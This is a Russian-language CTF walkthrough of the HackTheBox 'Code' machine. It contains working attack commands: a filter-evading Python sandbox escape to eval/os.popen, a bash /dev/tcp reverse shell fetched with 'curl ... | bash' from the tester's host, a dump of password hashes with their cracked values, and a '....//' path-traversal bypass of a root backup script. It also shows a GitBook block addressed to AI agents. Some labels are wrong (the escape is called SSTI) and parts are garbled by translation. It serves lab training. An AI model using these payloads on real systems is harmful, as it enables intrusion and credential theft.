> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md).

# Разбор Code на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/653>" %}

{% hint style="warning" %}
**Навыки:**

* Эксплойт SSTI – редактор Python-кода
* Извлечение базы данных SQLite и взлом хэшей
* Обход backy.sh через манипуляцию путями (повышение привилегий)
* Извлечение tar-архива из корневого каталога
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/12c6ac56cb4644484b32148963eb34953e958c04" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/697aab9acc8f70c632682ba8acda94da8e007407" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.62 -oG allPorts
```

<figure><img src="/files/f68984ca222b11633b724c1b98f0372739c8b456" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена (22.5000)

```bash
nmap -sCV -p22,5000 10.10.11.62 -oN targeted
```

<figure><img src="/files/7cad895acc006a1f524387d1847c148418c691bf" alt=""><figcaption></figcaption></figure>

## Эксплуатация SSTI – редактор Python-кода

<figure><img src="/files/a97f0ea188bef3da11c6a22995b26676835d0440" alt=""><figcaption></figcaption></figure>

На порту 5000 обнаружен редактор Python-кода. Во время обычных попыток инъекции (`import os`, `exec`, и т. д.) возникают ошибки.

<figure><img src="/files/d0566fc7630a4560a32ca24645b8089f5ffd4b6d" alt=""><figcaption></figcaption></figure>

Чтобы обойти ограничения, мы используем цикл для поиска класса, предоставляющего доступ к встроенным функциям (`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
        if 'ev'+'al' in x:
            print(i)
    except Exception as e:
        continue
```

> Этот цикл Python пытается эксплуатировать межсайтовую инъекцию шаблонов на стороне сервера (SSTI), перебирая подклассы базового объекта Python (`объект`) в поисках класса, который предоставляет доступ к глобальному окружению (`__globals__`) через его `__init__` метод. На каждой итерации он извлекает словарь встроенных функций (`__builtins__`) путем воссоздания его имени, чтобы обойти простую фильтрацию. Если объект содержит `eval` функцию, выводится индекс класса. Этот прием обычно используется для доступа к опасным функциям, таким как `eval`, `exec`, и `откроют`.

<figure><img src="/files/3ad1429a3dac237d1981fe80121d831abceecc45" alt=""><figcaption></figcaption></figure>

### Чтение `/etc/passwd`

Как только объект, содержащий `eval` будет найден, мы выполняем:

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))
```

{% endcode %}

Это выявляет двух пользователей: `Мартин` и `production`.

<figure><img src="/files/e52ee0f24d26f3079d13120e2424d9181623f5d7" alt=""><figcaption></figcaption></figure>

### **Обратная оболочка**

#### Прослушивание порта 443:

```bash
nc -nvlp 443
```

#### Скрипт обратной оболочки :

Создайте `index.html` файл, содержащий:

{% code overflow="wrap" %}

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.90/443 0>&1
```

{% endcode %}

Запуск веб-сервера:

```bash
python3 -m http.server 80
```

Инъекция полезной нагрузки:

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))
```

{% endcode %}

<figure><img src="/files/9454beb6791a3fe5f99b02227253707b044c6d57" alt=""><figcaption></figcaption></figure>

#### Обработка терминала:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Флаг user.txt :)

<figure><img src="/files/3dd361c1e6a702845acb129ce81e09855d247a7c" alt="" width="563"><figcaption></figcaption></figure>

## Повышение привилегий

### Доступ по SSH с пользователем `Мартин`

<figure><img src="/files/41606890de18c1872bcdb7b29a9203274c962279" alt=""><figcaption></figcaption></figure>

Мы обнаруживаем `database.db` файл. Проверка через SQLite выявляет двух пользователей (`development`, `Мартин`) с хэшами паролей.

```sql
sqlite3 database.db
```

<table><thead><tr><th width="374">Users</th><th>хэши</th></tr></thead><tbody><tr><td>development</td><td>759b74ce43947f5f4c91aeddc3e5bad3</td></tr><tr><td>Мартин</td><td>3de6f30c4a09c27fc71932bfc68474be</td></tr></tbody></table>

<figure><img src="/files/84d502e2451909d312772acea0800401a4327e2e" alt=""><figcaption></figcaption></figure>

Взломайте пароли с помощью [CrackStation](https://crackstation.net/), затем подключитесь:

{% embed url="<https://crackstation.net/>" %}

<table><thead><tr><th width="374">Users</th><th>хэши</th></tr></thead><tbody><tr><td>development</td><td>development</td></tr><tr><td>Мартин</td><td>nafeelswordsmaster</td></tr></tbody></table>

<figure><img src="/files/9b277d936856dfa13f5b3b4958b6c6d7dfca9880" alt=""><figcaption></figcaption></figure>

```bash
ssh martin@10.10.11.62
```

<figure><img src="/files/53798ec4de96c3f9ef525831251a0b4fbadd107c" alt=""><figcaption></figcaption></figure>

### Sudo — backy.sh (скрипт)

Мы узнаём, что `Мартин` может запускать `/usr/bin/backy.sh` от имени root.

```bash
sudo -l
```

<figure><img src="/files/f8ddcc7d02bf623252975d0bf4b0eb90b6b042f6" alt=""><figcaption></figcaption></figure>

**Скрипт проверяет:**

* Существует ли указанный JSON-файл,
* Что каждый путь в `directories_to_archive` находится в `/var/`  или `/home/`,
* Удаляет `../` последовательности с помощью `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Использование: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Ошибка: файл '$json_file' не найден."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Ошибка: $dir не разрешён. Разрешены только каталоги в /var/ и /home/."
        exit 1
    fi
done

/usr/bin/backy "$json_file"
```

**Обход:**

Мы настраиваем `pwned.json` файл:

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

Выполнение:

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="/files/bc5803fc820d12ab886f66be43ef810ef89a89d8" alt=""><figcaption></figcaption></figure>

Распаковка:

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```

### Флаг root.txt :)

<figure><img src="/files/ce625cc84f0c7433242407aac83356e8801b8ea6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/44ba4721c65f68e2b89ca25068722b19743d809d" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.